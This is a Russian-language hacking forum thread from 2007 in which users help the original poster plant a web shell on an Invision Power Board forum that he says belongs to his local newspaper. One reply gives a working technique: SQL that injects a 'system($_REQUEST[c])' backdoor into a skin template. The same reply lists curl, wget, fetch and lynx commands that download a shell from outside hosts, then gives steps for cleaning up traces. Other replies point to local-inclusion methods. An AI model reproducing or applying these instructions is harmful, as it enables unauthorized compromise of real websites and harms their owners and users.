Форумы Ошибка при загрузке/запуске шелла.

Discussion in 'Уязвимости CMS/форумов' started by Ali_MiX, 2 Apr 2007.

  1. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    Доброго времени суток.
    У меня такой вопрос.
    Когда заливаю shell в форуме IPB через смайлы, то не можно его запустить вылетает ошибка 500.
    Я думаю что на хостинге стоит антивирь и он зищищается от shells.
    Что тут можно сделать что бы залить shell или что нить типа того.
     
  2. onelove

    onelove Banned

    Joined:
    5 Mar 2007
    Messages:
    3
    Likes Received:
    5
    Reputations:
    0
    У мя такое же...
     
  3. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    Help, рытался заливать на сайт нашей местной газеты.
     
  4. nobi

    nobi Elder - Старейшина

    Joined:
    18 Jan 2007
    Messages:
    134
    Likes Received:
    16
    Reputations:
    0
    у мя такая же проба=(
    можеш попробівать залить шелл от rst 1.31
    у мя было так что не один не пашет(хотя заливается)
    но не идёт!а єтот идёт
    но может и не пойти=)
    надо пробывать другими спосабами заливать!!!
     
    1 person likes this.
  5. onelove

    onelove Banned

    Joined:
    5 Mar 2007
    Messages:
    3
    Likes Received:
    5
    Reputations:
    0

    Какими? =)
     
  6. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    Есть еще способ через SQL Toolbox
    Code:
    Заходим в админку, выбираем SQL Management > mySQL Toolbox > 120_skin_templates
    
    Нужно в столбце func_name изменить значение calendar_start_form 
    на "aaa(){}}; system($_REQUEST[c]); class qwerty{function ggg"
    
    Для этого делаем один запрос:
    update 120_skin_templates set func_name="aaa(){}}; system($_REQUEST[c]); class qwerty{function bbb" where func_name="calendar_start_form";
    
    Теперь ставим Use safe mode skins? > Yes
    
    Готово! Заходим в календарь и в параметре 'c' передаем команды.
    
    Заливаем нормальный шелл:
    curl --output /papka/na/servere/shell.php http://site.com/shell.php
    wget -o /papka/na/servere/shell.php http://site.com/shell.php
    get http://site.com/shell.php > /papka/na/servere/shell.php
    links -source "http://site.com/shell.php" > /papka/na/servere/shell.php
    lynx -source http://site.com/shell.php > /papka/na/servere/shell.php
    fetch -o /papka/na/servere/shell.php http://site.com/shell.php
    get http://test2.ru/shells/rst.txt > uploads/sh.php
    
    Чистим после себя:
    Use safe mode skins? > No
    update 120_skin_templates set func_name="calendar_start_form" where func_name="aaa(){}}; system($_REQUEST[c]); class qwerty{function bbb";
    
    18.03.2007 by DeusTirael

    Там еще видео было, но я саму тему найти не смог, если захочешь на _http://damagelab.org поищи
    З,Ы, у меня такое было, но потом через промежуток времени (от 2 часов до 2 дней) эти шелы начинали работать, хз из-за чего
     
    #6 maxster, 3 Apr 2007
    Last edited: 3 Apr 2007
  7. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    Не выходит, версия IPB 1.3 обновлял http://www.bestfilez.net/
    А на http://damagelab.org не одного видео не качает.
     
  8. onelove

    onelove Banned

    Joined:
    5 Mar 2007
    Messages:
    3
    Likes Received:
    5
    Reputations:
    0
    Через календарь тоже не катит....мож ещё какие способы дадите...
     
  9. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    скорее всего с правами фигня на папку ту со смайлами просто либо сам файл с такими правами что ошибку выдает , я точно не знаю но думается так возможно при php работающем не как модуль апача. заливай нее заливай все равно получишь ... , пробуем по другому?
    вобще если 1.3 версия то заливаем и инклудим потом его в чем проблема ? ;) кто спросит как инклудить -5 ;)
     
    #9 ShAnKaR, 3 Apr 2007
    Last edited: 3 Apr 2007
  10. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    Через смайлы оно заливает, но не запускает
     
  11. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    ??? какя сказал пробовал?
     
  12. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    Да, я уже много чего пробовал.
    Не выходит не чего.
     
  13. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    и не инклудит чтоле?
     
  14. onelove

    onelove Banned

    Joined:
    5 Mar 2007
    Messages:
    3
    Likes Received:
    5
    Reputations:
    0
    Подскажите кто как заливает...

    заливаю через смайлы,пишет "upload fаiled",заливаю через календарь тоже ничё не катит...какие есть действующие способы?
     
  15. spheere

    spheere Member

    Joined:
    24 May 2006
    Messages:
    13
    Likes Received:
    7
    Reputations:
    4
    Да все способы действуют. Правда иногда случаются совсем клиниеские случаи...
    Попробуй способ через локальный инклуд, как глаголит ShAnKaR. Я потестил, все получилось. Вот ссылко http://forum.antichat.ru/thread11615.html
     
  16. onelove

    onelove Banned

    Joined:
    5 Mar 2007
    Messages:
    3
    Likes Received:
    5
    Reputations:
    0

    Code:
    SQL ERROR
    
    Table 'site_com_-_db.ipb_languages' doesn't exist
    
    НЕ КАТИТ ТОЖЕ....
     
  17. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    Не чего не выходит(((
     
  18. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    а глазками посмотреть табличку languages есть? мож префикс другой , че то мне кажется тупите таварисщи немного :)

    и вобще чеэто топикстартер все не пашет не пашет так мля и не запашет конкретно показыай и расказывай почему не пашет если хочешь помощи а то от твоего
    толку ни какого , учитесь грамотно хоть вопросы задавать б.
     
    #18 ShAnKaR, 4 Apr 2007
    Last edited: 4 Apr 2007
  19. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    Это всё сделал с 1 раза, но не чего.
     
  20. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    ну тебя, клинический случай
     
Loading...